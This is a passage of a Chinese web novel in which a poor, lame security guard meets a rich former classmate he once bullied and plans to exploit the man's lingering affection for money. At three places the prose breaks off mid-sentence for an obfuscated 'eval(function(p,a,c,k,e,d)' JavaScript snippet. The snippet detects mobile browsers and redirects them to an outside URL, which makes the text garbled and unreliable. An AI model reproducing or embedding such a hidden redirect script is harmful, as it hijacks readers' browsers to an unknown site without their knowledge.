《作精捞男丢球跑了》 2. 先发制人 不是单纯的讨厌,是恨。 这就他妈糟心了。时钦后背抵着硬邦邦的木椅背,盯着电脑里的监控画面愣神。 屏幕上三个画面分得很清,两个对着岗亭附近的路段,方便观察车辆;剩下一个对着门前的大路,只拍了一角,刚好能看见大路对面湖的边儿。 太阳晒得晃眼,监控里的湖面也闪着粼粼的光。他目光从屏幕移到岗亭外平静的湖面,眉心逐渐拧起。 好不容易找到这个正儿八经的工作,能有稳定收入,能多攒俩钱在手里,怎么就冤家路窄碰上了周砚…… 老天爷够贱的,把他当孙子整呢,现在连周砚都能随便踩他头上拉屎撒尿,开那么贵的车跟他臭显摆! 这越想,说不慌是假的,时钦也怕真的被找麻烦,指尖无意识抠着裤腿缝,目光在空旷的大路上飘了会儿。 忽然记起上岗头天,队长刘建国跟他说这条大路五月才开通,园区里有车的基本走正门,从侧门进来的大多是外来车辆,还叮嘱他能扫码就扫码,尽量别收现金,后续交账麻烦。 他指尖顿了顿,心里头一下敞亮起来:不能这么坐以待毙,得先发制人。 电脑右下角跳着三点整,时钦一扫时间,伸手就将其中一个监控画面倒放,没一会儿便揪出了那辆黑色大奔,入园时间是14:16。 两栋写字楼前各有一片车位,而地下车库得从东门进入。这么看,那辆车大概率只会停在露天区域。 岗亭里有摄像头盯着,时钦不敢太张扬,从抽屉里抽出几张厕纸,起身时偷摸把桌上的圆珠笔顺进裤兜,也顾不上王广强的交代,空调都没关就擅自离了岗。 一接触空气里的热浪,他顿时回想起过去那些难捱到绝望的日子。 自己一没学历二没身份,体力又不行干不了重活,就是个残废,去工地都没人要,如今能在有空调的岗亭里待着,还轻松,以后上哪儿去找这么好的工作? 总不能真去拾荒吧。 岗亭后方便是一左一右两条大道,左侧是出口,右侧是入口,道旁各栽着一排香樟树,浓密的枝叶搭出片阴凉。 时钦沿着右侧大道走,着急去探情况,脚步下意识就快了些,可一快,左脚落地时的外撇就比平时明显,跛态一下露了出来。 每走两步,他都本能把重心往右腿挪,脚踝骨隐隐发紧,酸意顺着小腿往上窜,不舒服,他却没停,只把后背绷得更直,像是想靠这股劲把难看的跛相压下去。 树荫下没多凉快,他边走边回想,周砚那个闷葫芦不爱说话,以前在学校就一声不吭,被他欺负了也不吭声,只会面无表情地看他一眼,那眼神太静,静得出奇,说不清是无声抗议,还是根本就没把他放在眼里。 以前时钦会暴跳如雷,眼下只求老同学千万别把他放在眼里。 他都愿意花钱请周砚吃饭了,顺便低头道个歉,就让往事随风呗,大家都是成年人了,至于揪着不放么? 周砚要真揪着不放,那他妈就不算个男人! 可惜现实不遂人愿,时钦刚抬手蹭掉额角细汗,往前再走几步要拐弯时,那辆黑色大奔赫然出现在视野里,原来是被左侧的园区公告栏斜着挡了,难怪刚才没注意到。 大片树荫罩着车身,原本开着的车窗,也严严实实地合上了。 他顿感不妙,四十分钟前就进来的车怎么还停半道上不走了?人不在车里?那倒是停停车场去啊!不会是在等他吧? 不对劲。 难不成在车里打电话?这也太久了。 身为园区保安,除了管理园区治安,得负责进出车辆的秩序,乱停现象不能不管。可就在时钦准备上前去看看时,那车突然发动了,他隐约听见一阵低沉浑厚的声浪,混着引擎的轰鸣,裹着压迫感撞进他耳朵。 “……” 果然不对劲。 专门停这儿,一看就是在计划怎么报复他。 “操。”时钦低骂出声,眼睁睁看着车消失在视野里,严重怀疑周砚成心挑衅他。 追是追不上了,幸好他以防万一带了笔,赶紧掏出兜里的厕纸和圆珠笔。 厕纸又软又皱,稍一用力就破,只能把纸垫在掌心里抻平,费了劲才歪歪扭扭写下自己的手机号和一句话: 【我是时钦,晚上有空吗】 等时钦顶着大太阳,在A栋写字楼前的露天停车场找到那辆黑色大奔时,已经热出一脑门的汗。好在身上的制服挺宽松,没贴着皮肤,倒还能忍。 他没心思欣赏比自己个头还高的大越野,尤其看见车窗上映出自己汗津津的狼狈样儿,手里的厕纸都快被攥烂了,别提有多窝火。 说到底时钦还是接受不了这巨大的落差,一整个羡慕嫉妒恨,气周砚舒舒服服开豪车,自己穿着一身破制服跟屌丝似的。 凭什么周砚过得比他好,他就得为了生存上赶着来低头? 早知道不来北城混了。 时钦心里骂骂咧咧的,四下扫了圈,就车头雨刮器那儿适合塞纸条,还容易被看得见。他把厕纸捋平整,正往那儿塞着,身后突然响起一道声音,语气听着就冲。 “赵伟,你不在岗亭里值班,干什么呢!” “……”时钦迟钝了下才反应过来,吓得迅速收回手,厕纸揣进裤兜,转身一瞧是头天就不待见自己的那个保安——陶辉。 “我出来上厕所。”他忙解释。 陶辉一脸不信:“值班室里有卫生间,你跑这儿上什么厕所?” 清楚陶辉是因为队长把岗亭调给了自己,心里怄气才故意找茬,时钦立刻装出老实巴交那一套,低声说:“副队说我也要巡逻,我就想来看看,提前适应下。” “那你往这车上扔什么垃圾?”陶辉当场抓住由头调侃他,“仇富啊?等被投诉了,你连累的可是咱们整个保安队。” “……”时钦无语,转眼见陶辉身后,王广强从写字楼里出来,注意到这边情况,又径直大步过来。 然后如他所料,陶辉就跟找到靠山一样,用玩笑的口吻当着他面开始告状,那傻逼架势和小学生没区别。 陶辉:“强哥,你说赵伟多逗啊,使过的草纸往人车上扔,还碰这雨刮器,被车主看见了咱又得吃投诉。” “……”时钦插在裤兜里的拳头紧了紧,转向王广强,着急解释,“副队,我没有,那本来就是卡雨刮器里的,我路过看见了,顺手清下垃圾。” 陶辉耸耸肩:“是吗?原来这么回事儿,你不早说。” 日头毒辣,王广强瞅了眼小保安晒得红扑扑的漂亮脸蛋,挥手结束这场小闹剧,让陶辉先回去值班。 陶辉还想说什么,被王广强一个眼神警告。 王广强:“大热天的嚷嚷什么,小伟他新来的,有不懂的你给他提个醒。” “知道了。”陶辉随口提醒时钦,“园区里的车不能乱碰,之前就有保安逮着豪车合影晒网上,影响挺不好的。” 时钦心里直骂:老子有钱的时候,你他妈还不知道在哪儿混呢! 犯不着跟傻逼计较,他老实“嗯”一声,正打算溜回去,却瞥见二人后方的写字楼里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422348|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个高大身影走了出来。 对方只是穿着简单的衬衣和西裤,就醒目得跟常人不一样,从头到脚都散着贵气,不像个暴发户,是真扎眼。与时钦记忆里的周砚简直判若两人,除了那张脸他还熟悉,其余哪儿都让他陌生。 陌生到他突然露了怯,跟着就涌上股难堪。 老同学那双长腿一步步朝这边走,时钦没敢正眼瞧,只靠余光悄悄留意着,用力掐了把掌心逼自己稳住,就怕被外人察觉异样。 他匆匆跟王广强说要回岗亭值班,转头就往旁边的车后绕,身体也不自觉往车影里缩,刚好把腿脚遮住了。 没走多远,身后便传来交谈声,话语零碎飘来,嗡嗡的听不清楚,可他偏偏就清晰辨出了周砚的声音。 “谢谢。”迟砚微一颔首,视线不经意越过保安,落在不远处一颠一晃的背影上。 往常见着的有钱人,不是鼻孔朝上天,就是打心眼儿里瞧不上他们这些保安。王广强连忙摆手,语气热络:“哎哟别客气,这垃圾谁扔的也不知道,是我们管理不到位,已经处理了,给你造成麻烦不好意思啊。” “没事。”阳光刺眼,迟砚收回了视线。 看不见我,看不见我,看不见我…… 一出停车场,时钦立马贴着树走,身形一颠一晃跛得更为厉害,牵扯到旧伤,脚踝一酸差点栽跟头,他忍不住低骂,骂天骂地骂陶辉那个傻逼害他出师不利。 可骂完还是不解气,又把火气撒到老同学头上,就赖周砚跟鬼一样突然出现,害他好不容易找到的饭碗都不怎么香了。 “去你大爷的……” 时钦越想越觉得邪乎,高三那年周砚有了手机,却是个二手诺基亚,按键字全磨没了,要多寒酸有多寒酸。现在一辆车就几百万,身上穿的看着简约但很高级,手腕上还戴着块表,都开这么贵的车了,那表能是便宜货么? 操,绝逼是被人包养了! 周砚这个死同性恋!当初臭不要脸地给他写情书,害他被朋友笑话,没事就拿他长相阴柔开涮,丢尽了脸面。周砚有什么资格质问他“还算是个人吗”?到底谁他妈不是人啊? 给自己气出一身汗来,身上黏糊糊的,时钦气累了。 望着前头的岗亭,他一时间有些迷茫,脚步也慢了下来,揣着一堆乱七八糟的心思,完全没注意岗亭前的台阶,脚一绊的瞬间,整个人猛地僵住。 “哎——”王广强一把托住小保安的屁股蛋子,扶稳后才数落了句,“走路看着点儿,别摔着!” “……” 那只手掌贴上来的触感还没散,时钦后颈的汗毛像被火燎似的立起来,让他下意识攥紧了拳头。 上班才几天就碰上被男人摸屁股这事,他膈应得慌,可敢怒不敢言,没法怪别人,只怪自己眼瞎没看路。 “小伟,你刚才表现不错,那车主让我谢谢你。”王广强说着又拍了拍时钦的肩,“先进岗亭,我找你有点事儿。” 谢他祖宗十八代!谁稀罕了?! 时钦心里那叫一个恨,打从周砚出现,他就哪儿都不顺心,看什么都烦躁,连早愈合的旧伤都开始隐隐作疼。 等等,谢谢? 姓周的能有这么客气? 时钦回想起周砚当年阴沉沉的神情,似乎下一秒就会动手,那是他第一次真切触到周砚外露的情绪。 他抬手抹了把脑门的汗,蓦地恍然,周砚是不是压根就没认出自己来?也是啊,如果认出来了,之前进园区时怎么会没反应呢? 高低得多看他两眼才对。 3. 贼心不死 “把微信加上,上头有什么通知都发在工作群里。” 王广强瞅着脸蛋仍红扑扑的小保安,从裤兜里掏出手机,“你要有事儿,直接给我发微信也成。” “不好意思啊副队,我没微信。”时钦手伸进裤兜摸出手机,问,“我存个你的手机号,行吗?” 看到时钦手里是款杂牌老年机,机身还磕得坑坑洼洼,王广强倒愣了下。刘建国提过一嘴小瘸子日子难,可再难也没想到能难成这样,怎么连个正经手机都没有呢? “有通知下来,能不能给我打电话啊?响一声就好,我去值班室看。”时钦声音放得轻,姿态也放得低。 见小保安局促的模样可怜巴巴,王广强报了手机号,存下时钦号码后,问他:“这几天感觉怎么样?刘队他忙,托我多关照你,有困难随时找我。” “感觉挺好的,”时钦揣好手机,“谢谢副队。” “没事儿,你跟他们一块儿喊我‘强哥’就成。”王广强又问,“公司是管住不管吃,中午在哪儿吃的?周边环境熟悉了没?” 时钦不爱跟人称兄道弟,更别提眼前这老男人才摸过他屁股,哪怕是好心扶他,想想也很恶心。 他干脆略过前半句,只简短回:“我自己带饭,熟悉了。” “还会自己做饭?挺好。”王广强起身让了位,“坐吧,别再瞎跑了。岗亭这边轻松,把你换过来对他们几个确实不公平,让人挑了刺儿给刘队找麻烦。” “谢谢副队提醒。”时钦嘴上应着,心里却不怎么服气,那他工资还比别人低不少呢,确实不公平。 “得,我去忙了。” 大嗓门可算走了。时钦坐下来,无奈翘起二郎腿,指尖捏着发酸的左脚踝骨,一点一点慢慢揉。 他边揉,边盯着窗外大太阳洒下来的光,铺了一地,树上蝉鸣也一阵接一阵,吵吵闹闹挺安稳。 就是不知道还能安稳多久…… 刚才时钦全部的心思都在老同学身上,反复想周砚到底有没有认出自己,要没认出来就太好了。 等回头替班巡逻时,他就专挑周砚没进的那栋楼,再不济,还可以找刘建国申请上夜班,完全错开。 好的方面捋完,时钦又往坏了琢磨,最坏的结果无非是丢饭碗,比起生死其实算不上多大的事,不如就坐岗亭里等着,等周砚出园区时,再打个照面瞧瞧。 不过是个被人包养的死同性恋,在外穿得人模狗样,谁晓得他在床上是副什么德行,夜夜被大老板折腾,看来这大奔也不好开啊。 想到这茬,时钦痛快了些,先前那股难堪早没了影儿,好歹自己有骨气,一不靠脸二不攀男人,凭本事闯到今天,怎么着也比周砚牛逼。 结果干坐到天擦黑,他左等右等,不见那辆黑色大奔从里头出来,不清楚是不是已经从正门离开了。 直到七点准时下班,周砚也没出现过。 肚子“咕噜”叫了两声,时钦饿得慌,中午就啃了张饼,哪还有心思想老同学。他脚步一会儿快一会儿慢,深一脚浅一脚地往东门保安值班室赶。 谁知刚到门口,就听见里面两个保安在聊豪车。 李:“开这车的得啥身份啊?咱这辈子挣个一百万都难,有钱人随便一辆车就五百万,你说气人不?” 张:“管他啥身份呢,这帮有钱人手里,有几个干净的?” 五百万……价格差不多对上。时钦顿时纳闷了:周砚该不会刚走? 他探头往里瞄了眼,见傻逼陶辉不在,没忍住进了值班室,热情打起招呼:“李哥张哥,我下班了。” 李亮和张洋对新来的保安没太大意见,特别是李亮,大前天时钦刚上岗,还是李亮领着他熟悉园区周边环境。时钦记着打好关系,斥资请他吃了顿盖饭,递的烟他也接了,之后俩人就比旁人多些话,就连王广强送老婆和孩子回老家这事儿,都是李亮闲聊时跟时钦提的。 “小伟下班了啊,那我也下班了。”李亮起身,顺带吐槽了句,“就陶辉那死小子,每回跑得比兔子还快。” 张洋:“在监控底下乱嚼舌根,小心强哥收拾你。” 时钦在旁边听了一耳朵,见来接晚班的张洋说这话时嘴角勾着笑,那笑透着点说不清道不明的古怪,明显知道什么内情。 李亮无所谓地笑笑:“谁乱嚼舌根啊?” 跟着李亮到值班室后头的非机动停车场,时钦才小声打听起来:“李哥,你们说的那个五百万,是不是一辆特别酷的黑色奔驰啊?中午从我那边进来的。” 李亮:“嗯,就那大G。” 时钦:“是刚出园区吗?” 李亮:“是啊。” “那车真要五百万?”时钦假装不懂,怕心思太露,又随口问,“是哪家公司的老板这么有钱?” “嗐,人比人气死人。”李亮说,“是什么科技公司,忘了名字,A栋的,你那系统里不是能看见吗?” “啊。”时钦想起来,妈的,自己当时都快被周砚吓成孙子了,没顾上看电脑弹出来的识别信息。 园区里公司多,内部登记车和外来车进出都是自动识别抬杆,差别就是外来车走的时候超时得收费。他前三天没见过那辆大奔,想当然觉得是外来车。 周砚在这园区里开了家科技公司……? “我还有事儿,先走了啊小伟。”李亮跨上电摩,打完招呼匆忙离去。 时钦走到自己低价淘来的二手电驴前,说是低价,五百块钱也掏得他肉疼,是他啃了一个月馒头就老干妈,省吃俭用攒下来的。 他有些认命地跨上车,缓了两口气,才顶着燥热的夜风往园区外骑。东门前的大路比侧门热闹,沿街还有不少商铺亮着灯。 没骑多远,时钦心里越发堵得慌,烦躁地停了车,右脚往马路牙子上一踩,垮着背就那么坐着,从裤兜掏出烟和打火机。 他摸出根皱巴巴的软白沙,烟屁股还沾着烟丝碎屑,是中午没抽完的,直接叼进嘴里,打火点上,恨恨吸上一大口,心里堵得慌的感觉才松了些。 “呼……” 几块钱一包的破烟都能给你抽爽了,你也真他妈窝囊啊。 时钦暗骂自己,吐出的白烟被路灯染成淡金色,他抬手胡乱搅了两下,目光一扫,前方一家网吧招牌霓虹不停闪着。 …… 闹不清是心里那点不甘心在翻涌,还是好奇心作祟,又或是想起了从前,时钦不由自主地停好车,烟刚好抽完,随手把烟屁股往车篓子里一扔,朝网吧走去。 他半点没察觉,路对面一溜整齐停放的车当中,有辆黑色大奔隐在树影里,车身像浸了墨似的,完全看不清里头是否坐着人。 网吧里乌烟瘴气。 见前台是个小姑娘,时钦松了口气,上前时特意拨了下额前碎发,然后冲姑娘绽出一个灿烂的笑容。 “不好意思呀美女,我身份证丢了,还在补办,这会儿有急事想用电脑,能不能帮忙开台机啊?谢谢你。” 怕对方不同意,他又挺了挺穿在身上的保安制服,指尖戳了下胸前的工号牌,笑说:“我就在对面园区里上班,不是来捣乱的。” 姑娘被他那带梨涡的笑容晃了下神,愣了愣才点头,帮他临时开了台机。蒙混过关,时钦脚步都轻快了点,没看见姑娘在他转身后,悄悄落在他腿上的同情目光,替他可惜:好好一帅哥怎么是个瘸子呢? 好多年没碰电脑,时钦有些陌生,直奔主题找到桌面上的企鹅图标。登录前他迟疑片刻,心里打鼓。 账号当年是兄弟帮他注册的,不算他的,应该不会留下什么定位吧?这么多年都没事应该算安全吧? 哪知刚输完密码,就弹出错误提示。 等他把有印象的密码挨个试过来,就包括印象最深的“zhouyannidaye419”,居然也是错的,死活登不上去。 “周砚你大爷……”时钦跟着骂了句,不可能啊,他记得很清楚,密码是和周砚有关的加上自己生日。 当年改这密码,纯粹是因为他那会儿太烦闷葫芦。 周砚还指责他说脏话难听,跟他说“我没有大爷”,说就说吧,顶着一张欠揍的冷脸,给谁看呢! 上网一小时五块钱,能顶两顿饭。 时钦着急,绞尽脑汁想起账号丢过一回,还是兄弟通过密保帮他找回来的,他怕自己又记不住,更改过密保,答案好像还都跟周砚有关…… 一番折腾,终于成功登上,Q-Q接连蹦出许多消息。 全是以前狐朋狗友发的,六年前的居多,那年微信兴起,都追着问他微信号,有人还调侃他是不是失踪了。 最新的消息则是去年秋天,来自他最好的兄弟沈维。 沈维:【时钦,同学聚会来吗?你家里的事我没和谁提过,放心来吧。你说你多没良心,一走就是好几年,是不是洋妞太漂亮,眼里没我这个兄弟了?】 沈维:【我听说周砚也会来,真稀奇,可能还惦记你,你要还恶心他,我们单独聚,来不来都给我回个消息】 沈维:【时钦,你到底在哪儿呢?我真挺想你的,也找过你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422349|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你是不是人间蒸发了?我去年在美国遇到韩武那傻逼,他说你死了,我把他打了一顿,你他妈死都不找我,让我上哪儿给你烧纸?】 “你这傻逼……”时钦笑骂着怼回去,声音轻得只有自己能听见,话刚落,鼻子却没征兆地酸了,眼眶也跟着发热。 原来这世上,还有人在想他啊。 岁月是把刀,一刀刀砍断了时钦和过去的联系,说实话他也没脸以现在这副样子出现在沈维面前,哪怕是以前的任何一个同学。 时钦丢不起那个人。 他收拾好情绪,从发来消息的人里,挑了个在线的,试着打听去年同学聚会的情况,没等多久,竟收到了回复。 许聪:【我去???】 许聪:【诈尸啊,时钦?是你吗??】 时钦:【是我】 许聪:【妈的你终于上线了!你现在在哪儿呢?还在美国吗?】 时钦长话短说:【嗯,在纽约。你别告诉他们我找过你,尤其沈维,我年底回国,到时候诈尸给大家一个惊喜】 许聪:【行行行没问题!其实我们几个也不怎么联系了,大家都忙,就去年同学聚会见了一面,沈维为了你从澳洲赶回来,结果你没来】 猜想兄弟已定居澳洲,时钦放了心:【周砚也去了?】 许聪:【你怎么还关心他了?】 时钦:【关心个屁,我随便问问,听说他混得不错】 许聪:【你也听说了?】 许聪:【他现在确实牛逼,混进北城有名的远川集团,还做了董事,我是趁他和班主任闲聊时偷听到的,要不说钱养人呢,他来的时候西装笔挺,那气质真是,一进包间我们都差点没认出来,要不是知道他同性恋,我看女同学得有一半想嫁给他】 “……”时钦怔住。 他当然知道这个集团。不止在北城有名,作为国内顶尖的控股集团,远川早已以地产和金融为根基,并将业务拓展至全国。从高端酒店连锁到影视娱乐板块,甚至在海外都有投资布局,连医疗领域也没放过,说它渗透到生活的方方面面毫不夸张。 操,周砚怎么会混得这么牛逼? 时钦仍然不敢相信,当年那个兜里掏不出几个子儿的闷葫芦,居然能进远川这种大集团当董事,合理吗?这他妈就不合理! 那园区里的科技公司…… 难道也是周砚开的?副业吗? 许聪:【我和沈维说,他还不信,直接过去问周砚,你猜怎么样?这闷葫芦会张嘴了,还请我们去北城玩,他做东,以前不正眼瞧我们,现在特别客气】 “……”时钦快不知道许聪在说谁了。 许聪:【对了,他还问起你了】 时钦脑子“嗡”地一下,飞快敲出字:【问我什么?】 许聪:【问沈维你是不是还在美国,沈维不是烦他嘛,问他什么意思,他也不说,后来沈维喝多了差点和他打起来】 时钦:【怎么打起来了?】 许聪:【因为你没来,沈维说你不想看见周砚,怪他头上了】 许聪:【不过没打起来,周砚直接走了,幸亏你没来,他大老远来参加同学聚会,肯定冲着你来的,对你还贼心不死】 时钦:“……” 许聪:【你在纽约做什么呢?】 此时此刻,在北城做保安的时钦,眼神还黏在聊天窗口里的“贼心不死”四个字上。许聪的新消息弹过来,他也没挪眼。 …… 天色黑沉,路灯昏黄得像蒙了层灰。 时钦跨坐在自己的破电驴上,摸出兜里软白沙,奢侈地点燃了今天的第二根烟,叼着猛吸一大口,尼古丁的冲劲呛得他猛咳了两下,心里头那乱糟糟的感觉却一点没减。 当晚时钦就失眠了。 蜷缩在窄小的单人床上,听老风扇呼啦啦转着,扇叶上的陈年老灰跟着晃,时不时发出“嗡嗡”闷响,蚊子也来凑热闹,绕着耳边飞,在他胳膊和腿上叮出小红包。 熬到窗外天空泛出点青白,他才猛地惊坐起来,目光在昏暗破败的小房间里打了圈,每一处潦草的细节都在提醒他,自己眼下的日子有多糟糕,未来也不会有翻身的机会。 他终于醒悟:骨气,不能当饭吃。 换别人他还不乐意呢,可周砚不一样。 都七年了,还对他贼心不死…… 这不就意味着周砚不会来找麻烦?自己甚至可以踩到周砚头上,只要稍微给一点甜头,想怎么踩就怎么踩。 这闷骚货,真够闷骚的。 4. 亲个嘴 早上六点。 伏天的暑气混着潮味扑过来,时钦弓着腰在锈迹斑斑的铁铸下水道盖旁刷牙,嘴里泡沫还没吐净,就听见身后三轮车的吱呀响。 他快速漱完口,牙刷插杯里,捧着杯子先把东西送进屋,出来才冲使劲推三轮的大娘比划了下手势。 屋前路面坑洼,散落着废品零碎,墙角还堆着两摞捆好的纸壳和几蛇皮袋瓶瓶罐罐,三轮车难挪。 他右脚发力,尽量不让左脚承重,咬着牙把三轮车推到外面路边,歇了口气才转身去帮忙运纸壳和瓶瓶罐罐。 大娘在边上乐呵,先冲他摆摆手,又双手比划起来,扭头往屋里指了指,示意时钦锅里有早点,吃完再去上班。 “知道了。”时钦点头,顺着大娘指的方向看过去。 门敞着的破瓦房里,桌椅有年头了,磨出了包浆,洋灰地扫得还算干净,可架不住捡回来的杂物堆满角角落落,连门口都得侧着身过,显得又挤又乱。 他在这儿住满三个月了,收留他的大娘叫赵萍,是个寡妇,聋哑人,没有孩子,天天靠拾荒过日子。 赵萍想起什么,攥住时钦胳膊往屋里拉。 相处了三个月,时钦还是不太能完全看懂她的手语,但知道这是有东西要给他看。他以为赵萍又捡到什么稀罕物件,想让他估下价,结果是个旧床单包起来的大布包。 打开一瞧,里面是秋冬款男装,长袖长裤叠得整整齐齐。赵萍拿起一件起了球的红色连帽衫就往他身上比,边比边冲他竖大拇指,又指指门外的天。 时钦一下就看懂了。赵萍是说,这衣服他穿上好看,等天凉了正好能穿。 等赵萍蹬上三轮,他望向那瘦小身影,心里盘算着得捞笔大的,给这苦命女人买个房吧,挺可怜的。 六点半的日头没那么灼人。 郊区车少,时钦骑着电驴,满脑子想的是能不能克服对同性恋的恐惧。要捞笔大的,势必得做出点牺牲。 牵手应该没问题,能克服。 他倏地记起,高二体育课上跟周砚有过几回肢体接触,最无语的一回是眼瞎直接摔进了周砚怀里,周砚还伸手抱了他。倒没多反感,只是兄弟沈维在他看片不起反应时,拿这事打趣过,问他被男生抱的滋味爽不爽。 现在想想真傻逼啊。 那年周砚还没给他写情书,他自己也早忘了器材室那一抱,就沈维犯贱,在情书出来后把这陈芝麻烂谷子的小插曲翻出来,笑话他会被同性恋“传染”,他不痛快才转头去找周砚的碴,气急了甚至撕过人家作业。 要不多给点甜头补偿一下吧。 没准周砚一高兴,立马给他五百万! 那亲嘴……一脑补那个画面,时钦瞬间眉头紧皱,腮帮子都绷了起来,险些作呕,紧忙捏住刹车靠边停下,手撑着膝盖喘了两口气,才好受些。 他抬头瞟了眼不远处的红灯,又低下头踢走脚边的小石子,没法想象和周砚亲嘴的画面,太惊悚。 算了算了,能捞多少是多少,有些事真勉强不来。 然而醒悟后的时钦没想到,接下来一连好几天,别说周砚了,那辆黑色大奔的影子都没出现过。 亏他做足心理准备,开场白在心里翻来覆去酝酿了好几个晚上,还天天给自己洗脑,洗到后来,比牵手更进一步的拥抱、亲脸,都勉强能接受了。 就是他妈的,周砚人呢?! * 出伏这天,轮到时钦第一次替班巡逻,不巧搭档是陶辉,两人各管一栋楼,巡逻完得回值班室登记。 “赵伟,你不是想适应吗?两栋楼都交给你了。”陶辉丝毫没客气,“结束给我打电话,我去岗亭帮你值班。” 替班时岗亭暂时关闭,车辆走东门,不需要有人值班。 时钦早看出陶辉想偷懒,正巧自己要去那家科技公司碰碰运气,还是那句话,犯不着跟傻逼计较。 一个多星期观察下来,他也摸清了李亮和张洋都知道的内情:轮到陶辉值夜班,王广强就一定会在。 除了周砚,时钦看见同性恋就恶心,估摸陶辉和王广强有一腿,这阵子一直避着俩人,生怕被传染什么脏病。 等陶辉一滚蛋,就直奔写字楼。 他一门心思想找到周砚,赶紧脱离现状,也能跟赵萍撇清关系,免得真把他当儿子,给他找麻烦。 赵萍这女人太犟,活该命苦,全自找的。前两天崴了脚,蹬三轮都费劲,却硬撑着非要出去捡垃圾,他瞧着就心烦。 可惜周砚不在A栋楼里。 时钦看到了那家互联网科技公司,在园区里规模算大的,足足占了两层楼,主攻的是AI医疗领域。 他一个新来的保安,到底没敢直达,先坐电梯到十九层,再绕消防通道上二十层,到了门口也只敢探着脑袋偷瞄,看里头那群体面的上班族人来人往地忙,没一个是他想见的人。本来按规矩,巡逻就不能随意进别人公司,整层包下来的更没必要往上凑。 巡逻完A栋,时钦左脚有点不舒服了,进了B栋便彻底没了精神,磨磨蹭蹭打酱油。要说这趟巡逻有什么收获,只捡着几个别家公司扔的废纸壳。 他皱着眉把折好的纸壳搂在怀里,太阳晒得人犯懒,脚步慢悠悠的。 路过垃圾桶时,忽然觉得自己也像垃圾,心里那点嫌弃全冒上来了,胳膊一扬就把纸壳甩到地上,屁用没有还占地方,捡它干嘛?这一捡就是一辈子怎么办? 可刚迈出去两步又顿住,赵萍那脚崴了还能捡多少?那么瘦小的身板哪儿抢得过老头,还又聋又哑的,真吵起来连个声都发不出,只能让人欺负。 “操,真成拾荒的了。”时钦不情不愿转回去,弯腰吃力地把纸壳重新折好,别扭地夹紧在腋下,另只手掏出手机给陶辉打电话。 等回到岗亭,里面没有被动过的痕迹,显然陶辉仗着有王大嗓门撑腰,变本加厉地偷懒。 浑身的汗把制服浸得发黏,时钦随手将纸壳扔在角落,抓起桌上的空塑料瓶,在桌旁的饮水机前接满水,仰头“咕咚咕咚”喝得急,水顺着嘴角往下淌进脖子里也顾不上擦,喝完一屁股坐下,往椅背上一瘫,力气像被抽干了。 他现在不骂跟他对着干的老天爷了,一不顺心就把火撒在周砚头上,骂来骂去,最后总绕回那句车轱辘话: 你个闷骚货,老子现在让你喜欢了,给个痛快行不行! 周砚你大爷……时钦心里碎碎念骂着,空调刚开,凉风还没吹出来,他只能扯着领口来回扇风,一摸脑门全是黏糊糊的汗,连脸颊也热得发烫。 还没等这股热劲缓下去,他眼尖瞥见电脑监控里钻出来一辆黑色奔驰,看那车身线条,分明是S系。 车是往外开的,监控里看不清具体型号,时钦现在对奔驰特敏感,当即打开左侧窗户,头还没完全探出去,就见那辆车正好在他眼跟前被道闸拦停,紧接着主驾车窗降下,那张他“朝思暮想”、在心里臭骂了无数遍的脸,就这么撞进了眼里。 他盯着那张熟悉又陌生的脸,整个人都木愣愣的,直到对方开口打断他的视线,问他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422350|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不收费吗?” “啊?”时钦懵了瞬,慢半拍反应过来:周砚换了辆没登记过的车,超时得收费。 他伸手指着窗玻璃右下角贴的二维码,急忙说:“直接扫这码,多少钱里面有显示。” “谢谢,我付现金。” “……”时钦又一懵,只见周砚从中控区拿出钱包,打开后取出一张崭新的十元纸币,递向他。 也就是在周砚抬臂递钱的间隙,他瞥见对方衬衣袖口露出的那块朗格表,看着低调,但价值不菲。 他忘了队长刘建国“尽量别收现金”的叮嘱,忘了自己满头的汗、嫌热抓乱的头发,脸颊还红扑扑的,透着狼狈。 接过钱后,他机械地在岗亭里操作,满脑子就一个念头:许聪没说错,周砚那气质真是,真是他妈的大变活人,居然还对他说“谢谢”,活见鬼。 所以周砚故意付现金,是认出他来了却害羞抹不开面,想借这招跟他搭话,等他主动递台阶呢? 这闷葫芦,怎么好像比上学时更闷骚了。 停车费十元正好,时钦把钱放进抽屉,心里暗戳戳还挺得意,为自己所占的上风。他准备给机会,没成想奔驰那车窗竟关上了,车头正微微往前挪,眼看就要开出去…… 操,这是闹哪出? 时钦手忙脚乱扒到窗前,探头急声喊:“那个,周砚啊!” 车停了,车窗又缓缓降下来。他盯着老同学没什么表情的面瘫脸,自己本就热红的脸,这会儿又急得添了层艳色,红得更厉害。一时琢磨不透对方的心思,他干脆直接问:“你知道我是谁么?” 